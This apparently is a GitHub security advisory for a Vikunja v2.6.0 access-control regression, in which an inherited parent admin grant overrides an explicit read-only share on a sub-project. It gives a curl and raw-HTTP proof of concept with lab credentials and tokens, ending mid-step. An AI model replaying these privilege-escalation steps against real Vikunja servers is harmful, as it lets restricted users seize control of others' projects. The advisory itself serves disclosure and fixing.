GitHub Advisoryadvisory · Go
GHSA-pjr3-86v4-5p7w Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)
MEDIUM
Official page ↗
- Ecosystem
- Go
- Packages
- code.vikunja.io/api
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
- Weaknesses
- CWE-269, CWE-284
- Reviewed
- 2026-10-09
Affected packages
• Go code.vikunja.io/api: >= 2.6.0, < 2.7.0 → fixed in 2.7.0
Description
Description
Summary
In Vikunja v2.6.0 the project-permission engine resolves a user's effective permission on a project as
the MAX over the entire reachable project subtree. As a result, when a user has been granted a
higher permission on a parent project and the owner *explicitly* shares a child project with
that same user at a lower permission (an intended down-restriction), the explicit lower grant is
silently ignored and the user receives the higher, inherited permission on the child. A user
who was deliberately restricted to read-only on a sensitive sub-project can therefore modify it,
delete it, and re-share it (including granting other users admin) - none of which the owner intended.
This is a behavior regression from v2.5.0, whose engine used "nearest-ancestor-grant-wins" semantics
that honored the explicit child grant.
Details
Effective permissions are computed by a single recursive CTE in
`pkg/models/project_access.go` (`getProjectAccessForUser`):
```sql
WITH RECURSIVE grants (project_id, permission) AS (
SELECT project_id, MAX(permission) FROM (
SELECT id AS project_id, 2 AS permission FROM projects WHERE owner_id = ?
UNION ALL SELECT project_id, permission FROM users_projects WHERE user_id = ?
UNION ALL SELECT tp.project_id, tp.permission FROM team_projects tp
INNER JOIN team_members tm ON tm.team_id = tp.team_id WHERE tm.user_id = ?
) direct_grants GROUP BY project_id
),
tree (id, permission) AS (
SELECT p.id, g.permission FROM projects p INNER JOIN grants g ON g.project_id = p.id
UNION
SELECT p.id, t.permission FROM projects p INNER JOIN tree t ON p.parent_project_id = t.id
)
SELECT id, MAX(permission) AS permission FROM tree GROUP BY id
```
For a parent `P` where the user has a direct ADMIN(2) grant and a child `C` (with
`parent_project_id = P`) where the user has a direct READ(0) grant, the `tree` CTE produces the rows
`(P,2)`, `(C,0)` (direct grants) and `(C,2)` (the parent grant propagated down the recursion). The
final `SELECT id, MAX(permission) ... GROUP BY id` collapses the child to `MAX(0, 2) = 2 (ADMIN)`. The
explicit READ grant on `C` is discarded.
In v2.5.0 the equivalent resolution used `ROW_NUMBER() OVER (... ORDER BY priority)` (nearest-ancestor
wins), so the child's own direct grant took precedence and the down-restriction was honored. The switch
to `MAX(...)` in v2.6.0 introduces the override. Code comments in `project_access.go` describe the
additive behavior as intentional ("a grant on a descendant can raise an inherited permission, never
lower it"), so the maintainers may consider this working-as-intended - but it is a security-relevant
regression that silently defeats an explicit, owner-configured access restriction, so it is reported
here for a decision.
PoC
Target: `http://localhost:3456` (Vikunja v2.6.0). Owner: `admin`. Restricted collaborator: `alice`
(id 2). Third party used to demonstrate re-sharing: `bob`. Note Vikunja's v1 REST convention: `PUT` =
create, `POST` = update. All values below are the real, unredacted values from the run.
Step 1 - Log in as the owner (admin) and as the restricted collaborator (alice)
```bash
curl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \
-d '{"username":"admin","password":"VikunjaLab123!"}'
curl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \
-d '{"username":"alice","password":"AliceLab123!"}'
```
Real tokens issued:
```
admin: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzMsImlkIjoxLCJpc19hZG1pbiI6dHJ1ZSwianRpIjoiODY1ZmNjMDEtMDQ3Zi00NjM2LWI1M2QtNmU1MzliZTRhMDY4Iiwic2lkIjoiYTFhMDQ1YWYtOWMyMC00YmRmLWE2YzQtMjRmN2JkM2QwMDRlIiwidHlwZSI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.4l8vTEkB_gna717cNLc_tgOI_kUBcZMjKiZH6U8sPAg
alice: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU
```
Step 2 - Owner sets up the projects (parent, sensitive child, standalone control)
```bash
parent (id 18)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
-H 'Authorization: Bearer ' -d '{"title":"FinanceRoot"}'
child of parent 18 (id 19)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
-H 'Authorization: Bearer ' -d '{"title":"Q4-Payroll-CONFIDENTIAL","parent_project_id":18}'
standalone control (id 20)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
-H 'Authorization: Bearer ' -d '{"title":"ControlStandalone"}'
```
Result: parent `id=18`, child `id=19` (`parent_project_id=18`), control `id=20`.
Step 3 - Owner grants: parent → alice ADMIN(2); child → alice READ(0) (the intended down-restriction); control → alice READ(0)
```bash
curl -s -X PUT http://localhost:3456/api/v1/projects/18/users -H 'Content-Type: application/json' \
-H 'Authorization: Bearer ' -d '{"username":"alice","permission":2}' # -> 201
curl -s -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \
-H 'Authorization: Bearer ' -d '{"username":"alice","permission":0}' # -> 201
curl -s -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \
-H 'Authorization: Bearer ' -d '{"username":"alice","permission":0}' # -> 201
```
Confirm the recorded child grant is READ(0):
```bash
curl -s http://localhost:3456/api/v1/projects/19/users -H 'Authorization: Bearer '
-> [{"id":..,"username":"alice","permission":0, ...}] (0 = Read only)
```
Step 4 - THE FINDING: alice (explicit READ on child 19) performs an ADMIN-only operation on it - grant bob ADMIN(2)
curl
```bash
curl -sv -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU' \
-d '{"username":"bob","permission":2}'
```
Burp / raw HTTP request
```http
PUT /api/v1/projects/19/users HTTP/1.1
Host: localhost:3456
User-Agent: curl/8.20.0
Accept: */*
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU
Content-Length: 33
{"username":"bob","permission":2}
```
Raw HTTP response
```http
HTTP/1.1 201 Created
Cache-Control: no-store
Content-Type: application/json
Vary: Origin
X-Request-Id: EbiVasgeMYwKryJMTQnKlnvzCCvDDMJb
Date: Mon, 07 Sep 2026 17:39:34 GMT
Content-Length: 128
{"id":12,"username":"bob","permission":2,"created":"2026-09-07T17:39:34.158776607Z","updated":"2026-09-07T17:39:34.158778081Z"}
```
alice - restricted to READ on project 19 - successfully granted bob ADMIN(2) on it (a share-management
operation that requires project admin). She can equally modify it:
```bash
write op (POST = update); succeeds -> HTTP 200
curl -s -o /dev/null -w '%{http_code}\n' -X POST http://localhost:3456/api/v1/projects/19 \
-H 'Content-Type: application/json' -H 'Authorization: Bearer ' \
-d '{"title":"Q4-Payroll-TAMPERED-BY-ALICE"}'
-> 200
```
Step 5 - CONTROL (proves the operation genuinely requires admin): alice performs the same op on the standalone control project 20, where she has …